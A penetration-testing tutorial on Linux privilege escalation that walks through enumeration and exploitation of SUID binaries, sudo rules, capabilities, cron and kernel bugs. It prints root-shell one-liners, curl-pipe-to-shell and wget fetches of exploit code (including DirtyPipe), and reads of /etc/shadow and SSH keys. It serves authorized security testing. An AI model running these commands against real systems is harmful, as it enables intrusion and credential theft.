Linux Privilege Escalation — Techniques and Tools We Use in Penetration Testing

You have an initial foothold on a Linux server. Maybe you are www-data or a regular user. Now you need to become root to complete the penetration test. Without privilege escalation, your work stops halfway. In our experience as penetration testers — over 8 years stress-testing servers of Italian SMEs — Linux privilege escalation is where many get stuck.

We, at Meteora Web, approach every audit with a concrete method: first enumerate, then exploit, always with tools and techniques you can replicate. In this guide, we show you the most common vulnerabilities, the tools we use, and the real-world examples that actually work.

How to enumerate the system to find Linux privilege escalation vectors?

Before exploiting any vulnerability, you must map the system. Enumeration is 70% of the work. Skip it and you waste time. Here are the checks we always perform:

Basic information

id
uname -a
cat /etc/os-release
hostname

These commands tell you who you are, which kernel and distribution you are on, and the hostname. Useful for searching for version-specific exploits.

Users and groups

cat /etc/passwd
cat /etc/group
cat /etc/shadow 2>/dev/null || echo "shadow not accessible"

Check users with shells, privileged groups (sudo, docker, adm). Often a user in the wrong group is already halfway to privilege.

Running processes and services

ps aux
ps aux | grep root

Processes started by root might have escalation vulnerabilities. We look for services that run with privileges but that the current user can alter.

SUID and SGID files

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

Binaries with SUID retain the owner's privileges (usually root) when executed by anyone. This is the classic vector. We use GTFOBins to check if a binary can be exploited.

sudo -l

sudo -l

If the user has sudo permissions on specific commands, we may escalate. We often see rules like (ALL) NOPASSWD: /usr/bin/vim. That means we can execute vim as root — and from vim we can spawn a shell with :!bash.

Capabilities

getcap -r / 2>/dev/null

Linux capabilities can grant root-equivalent permissions without SUID. For example, cap_setuid+ep on a binary allows changing the UID. A frequently overlooked vector.

Cron jobs

cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/* 2>/dev/null

If a cron job runs a privileged script and the script is writable by the current user, you can inject a malicious command. We see this often on misconfigured servers.

Practical checklist:
1. id and uname -a
2. sudo -l
3. find / -perm -4000
4. getcap -r /
5. cat /etc/crontab
6. ps aux | grep root

Which tools do we use for Linux privilege escalation? LinPEAS, GTFOBins and more

We don't reinvent the wheel. For enumeration we mainly use LinPEAS (Linux Privilege Escalation Awesome Script). We also run LinEnum and LES (Linux Exploit Suggester). But LinPEAS is our standard: it automatically scans SUID, sudo, capabilities, cron, processes, networking, and more. It outputs color-coded results highlighting critical vectors.

LinPEAS in action

# Download and execute (from attacker machine or via curl)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or upload the file and run it
./linpeas.sh

LinPEAS shows a section "Interesting files writable" that includes exploitable SUID files and modifiable paths. Beware: it generates a lot of output. Redirect to a file for offline analysis.

GTFOBins for SUID exploitation

When you find a SUID binary (e.g., find, vim, nmap, python), go to GTFOBins. Search for the binary and you'll find ready-to-use commands to escalate. Example with find:

# If find is SUID root
find . -exec /bin/sh -p \; -quit

The -p flag preserves privileges (essential).

Linux Exploit Suggester (LES)

For kernel exploits, LES is our first step. It compares the kernel version against known CVE databases.

perl les.sh

Download from GitHub. Then search for specific kernel exploits. But beware: kernel exploits can crash the system. Only use them in test environments with proper authorization.

How to exploit SUID, sudo, and capabilities for Linux privilege escalation?

90% of cases resolvable with system privileges are handled with SUID and sudo. Let's look at the most common vectors we encounter in real tests.

SUID binaries — practical exploitation

Assume find has the SUID bit. We verify with ls -la /usr/bin/find (shows -rwsr-xr-x). Then execute:

/usr/bin/find /home -name "*.txt" -exec /bin/sh -p \; -quit

You're now root. Other common binaries: vim, nano, less, more, bash, python, perl, cp, mv. On GTFOBins you'll find all commands for each binary.

Sudo — dangerous rules

The command sudo -l shows your user can run /usr/bin/vim as root without password. Then:

sudo vim -c ':!bash'

Or:

sudo vim
:!bash

Other common rules: (ALL) NOPASSWD: /usr/bin/apt-get, /usr/bin/pip, /usr/bin/python. With pip you can install a malicious package. With python you can spawn a shell.

Capabilities — the silent vector

A binary with cap_setuid+ep allows changing the process UID. Example with python3:

# Check: getcap /usr/bin/python3
# Output: /usr/bin/python3 = cap_setuid+ep
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Another path to root.

When should you use kernel exploits for Linux privilege escalation?

If SUID, sudo, and capabilities fail, we move to kernel exploits. But only after confirming the kernel version is vulnerable and the exploit is stable.

Identify the kernel

uname -a
# example: Linux target 4.15.0-112-generic #113-Ubuntu SMP

We use LES or searchsploit (from the attacker machine) to find exploits. For kernel 4.15.x, famous ones are CVE-2017–16995 (overlayfs) or CVE-2021–3490 (ebpf).

Running a kernel exploit

Download the C code, compile it on the target (if gcc is available), or compile on your machine and transfer. Example with DirtyPipe (CVE-2022-0847):

wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploit/main/dirtypipez.c
gcc dirtypipez.c -o dirtypipez
./dirtypipez

Note: many kernel exploits require a compiler. If gcc is not available, try with cc or look for precompiled exploits. We always prefer to avoid kernel exploits if possible — too much instability. But when the client has a legacy server, sometimes it's the only way.

Golden rule: never run a kernel exploit in production without first testing in an isolated environment. It can corrupt the filesystem.

Horizontal privilege escalation on Linux — a real case

Sometimes you don't need to become root immediately. If you gather credentials of another user with more privileges, it's horizontal escalation. Example: you find configuration files with passwords in /var/www/html/config.php. That user might have sudo access. We often see this in web application tests. Always check .bash_history, .ssh/id_rsa, backup files.

cat /home/user/.bash_history
find /home -type f -name "*.txt" -o -name "*.cfg" 2>/dev/null

What to do next

Next time you have a limited shell on Linux, follow this operational sequence:

1. Run LinPEAS — it gives you a map of vulnerabilities immediately.
2. Check sudo -l and SUID — the fastest vectors.
3. Check capabilities and cron jobs — often overlooked, often decisive.
4. If all else fails, use LES — but only after assessing stability.
5. Document every step — in professional penetration testing you report vulnerabilities and fixes, not just the shell.

We, at Meteora Web, use these techniques every day in our audits. If you want to go deeper, read our pillar guide on Ethical Hacking and Penetration Testing. And remember: a penetration test doesn't end when you get root. It ends when the client knows how to protect themselves.